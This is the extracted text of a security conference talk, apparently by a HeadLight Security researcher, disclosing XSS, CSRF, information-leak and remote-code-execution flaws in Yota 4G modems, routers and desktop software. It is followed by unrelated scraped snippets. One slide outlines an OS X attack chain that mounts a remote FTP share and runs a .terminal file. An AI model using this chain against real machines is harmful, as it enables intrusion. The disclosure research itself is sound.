• Aucun résultat trouvé

Vulnerabilities in the software of Yota

N/A
N/A
Protected

Academic year: 2022

Partager "Vulnerabilities in the software of Yota"

Copied!
35
0
0

Texte intégral

(1)

Vulnerabilities in the software of Yota telecommunication equipment

Firstov Mikhail (@cyberpunkych) HeadLight Security

(2)

WHOAMI?

• Security researcher at HeadLight Security

• “Attacking MongoDB” at ZeroNights 2012

• “Database honeypot by design” at Defcon Russia

• Worked at Positive Technologies since 2012 to 2015

• “Hacking routers as Web Hacker” at Defcon Moscow

• Member of DC7499

(3)

Modems, routers, mobile routers, phones, etc WHAT IS 4G IN 2015?

(4)

WHAT IS YOTA?

Most used YOTA devices:

Yota Lua (simple usb modem)

Yota Swift (modem + wifi router)

Yota Many (mobile router)

(5)

Yota web interface:

WHAT IS YOTA?

(6)

Yota software:

WHAT IS YOTA?

(7)

• Yota personal cabinet (XSS, CSRF, Info Leakage)

• Yota Many (Sensitive Info Leakage, RCE)

• Yota Swift (RCE)

• Yota Access (Sensitive Info Leakage, RCE) WHAT CAN WE ATTACK?

(8)

• Yota personal cabinet (XSS, CSRF, Info Leakage)

• Yota Many (Sensitive Info Leakage, RCE)

• Yota Swift (RCE)

• Yota Access (Sensitive Info Leakage, RCE) WHAT CAN WE ATTACK?

(9)

Even 1 XSS can compromise all your data YOTA SERVICES

(10)

Even 1 XSS can compromise all your data

…but I found 2 of them ;) YOTA SERVICES

(11)

“XSS is boring, it can’t see my password”

Don’t be so sure, if you save your passwords in FF YOTA SERVICES

(12)

Just another CSRF with password change

Thnx Yota support with this bug ;)

YOTA SERVICES

(13)

Get user’s balance by VK id ;)

...and other small bugs with info leakage, but you want smth more cool, isn’t it?

YOTA SERVICES

(14)

OK, that’s all is really boring. Go next!

YOTA SERVICES

(15)

• Yota personal cabinet (XSS, CSRF, Info Leakage)

• Yota Many (Sensitive Info Leakage, RCE)

• Yota Swift (RCE)

• Yota Access (Sensitive Info Leakage, RCE) WHAT CAN WE ATTACK?

(16)

Just press button and go 4G!

…or insert into USB port

YOTA DEVICES

(17)

Web admin panel looks good

It’s using JSONP to update data in real time Hmm…

YOTA DEVICES

(18)

Wow, such referer check, nice protection!

YOTA DEVICES

(19)

Not for us!

YOTA DEVICES

(20)

Router. Bugs. Hmm. RCE?

Of course!

YOTA DEVICES

(21)

Router. Bugs. Hmm. RCE?

We are root. Classic.

YOTA DEVICES

(22)

Final result:

Other devices, such as Yota Swift affected too!

YOTA DEVICES

(23)

• Yota personal cabinet (XSS, CSRF, Info Leakage)

• Yota Many (Sensitive Info Leakage, RCE)

• Yota Swift (RCE)

• Yota Access (Sensitive Info Leakage, RCE) WHAT CAN WE ATTACK?

(24)

Software? But I’m just web script-kiddie 

Wow, web interface on 5000 port. Interesting…

YOTA SOFTWARE

(25)

Oh, this web again. I love it.

YOTA SOFTWARE

(26)

Send request and wait for reply on :5000/events!

YOTA SOFTWARE

(27)

Ok, we can read some data, and so?

My lovely game – playing with parameters & requests!

YOTA SOFTWARE

(28)

Change true to false and get all information about your machine!

YOTA SOFTWARE

(29)

OK. WHERE IS RCE?!1

YOTA SOFTWARE

(30)

Here.

Windows affected too.

YOTA SOFTWARE

(31)

Short instruction for OS X:

From opening file to full RCE

$ open ftp://[email protected]/ - will mount ftp to /Volumes/1.1.1.1/

.terminal file could exec any commands after opening

Sometimes you can get root without any exploits! (remember ‘sudo’ feature in OS X )

YOTA SOFTWARE

(32)

Video here.

YOTA SOFTWARE

(33)

Test yourself here – http://yota.hlsec.ru/

Questions?

CONCLUSION

(34)

Thnx:

Oleg Kupreev (@090h)

Sergey Vishnyakov (@n3tw0rk)

Timur Yunusov (@a66at)

Dmitry Evteev (@devteev)

Vyacheslav Egoshin (@vegoshin)

Psych0tr1a (@Psych0tr1a)

DC7499 and 2600 community

Matt Austin (From XSS to RCE)

CONCLUSION

(35)

Thank you for the attention!

@cyberpunkych

BYE!

Références

Documents relatifs

We can confidently state that oral rehydration therapy can be safely and successfully used in treat- ing acute diarrhoea due to all etiologies, in all age groups, in all

Peut communiquer dans le cadre d’une tâche simple et courante ne demandant qu’un échange d’information simple et direct sur des sujets familiers relatifs au travail et aux

In VADA [21], all of format transformation, source selection, matching, mapping and data repair are informed by evidence in the form of the data context [20], instance values that

Two months later sitting on the street at night she was begging for money with her boyfriend I gave them five dollars. but they didn’t recognize me or thank me for the money which

Canadian Institutes of Health Research, Natural Sciences and Engineering Research Council of Canada, Social Sciences and Humanities Research Council of Canada. Tri- Council

GOAL 5: Maintain NPCR funding through adherence to NPCR program standards for data use and data collection. OBJECTIVE 5A: Per NPCR Program Standards, ensure use of cancer registry

Dr Redwood-Campbell is Chair of the Global Health (formerly International Health) Committee of the College of Family Physicians of Canada, Co-Chair of the Global Health Resource

Second-hand smoke increases the risk of lung cancer and heart disease in non-smokers.. 3 BE A